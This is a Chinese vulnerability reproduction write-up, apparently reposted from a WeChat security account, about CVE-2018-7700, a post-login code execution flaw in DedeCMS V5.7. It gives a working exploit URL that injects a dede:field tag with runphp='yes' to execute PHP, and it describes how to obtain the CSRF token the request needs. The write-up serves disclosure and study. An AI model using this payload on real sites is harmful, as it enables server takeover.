本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。
漏洞描述
织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。该漏洞的触发文件为 /dede/tag_test_action.php。起因是 csrf_check() 函数的绕过,导致登陆后。可执行任意代码。
CVE编号
CVE-2018-7700
漏洞影响
DedeCMS V5.7
DedeCMS V5.7 SP2
漏洞复现
测试版本为 5.7 SP2,描述中的 csrf_check 没有去验证,据说是因为登陆的时候不会生成 $_SESSION['token']
,因此登陆之后直接将 token 置空即可绕过,但我这里并没有觉得需要绕过这里,登陆后可以直接从其他地方获取 token ,这里主要关注代码执行漏洞。
还是一样,先获取一个 token
http://www.dedecms521.com/dede/tpl.php?action=upload
然后就可以代码执行
http://www.dedecms521.com/dede/tag_test_action.php?token=05e0a0ab271dd01fd277c139a02940b6&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
总结
其实这个漏洞只是 dede 提供的一个标签代码测试的功能,但是被利用了,基本上只要进到后台,利用这个还是很容易getshell的,有关于 dede 的标签的构造的内容,很多都省去了,但对阅读应该没有太大的问题
该过程实际上就是
模板 -> 全局标记测试
然后填入自己的代码
{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
这个 CVE 最着重的地方是这个 token 的绕过,但是不是只要是进入了后台,很容易就可以获取到 token 么,那这个 token 的绕过就没有太大必要了
参考
-
https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/Dedecms V5.7后台任意代码执行CVE-2018-7700/
github
链接:https://github.com/N0puple/vulPOC
获取文中环境可以关注公众号 “安全漏洞复现”,回复 “漏洞环境”
原文始发于微信公众号(安全漏洞复现):DedeCMS V5.7 后台代码执行漏洞(CVE-2018-7700)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论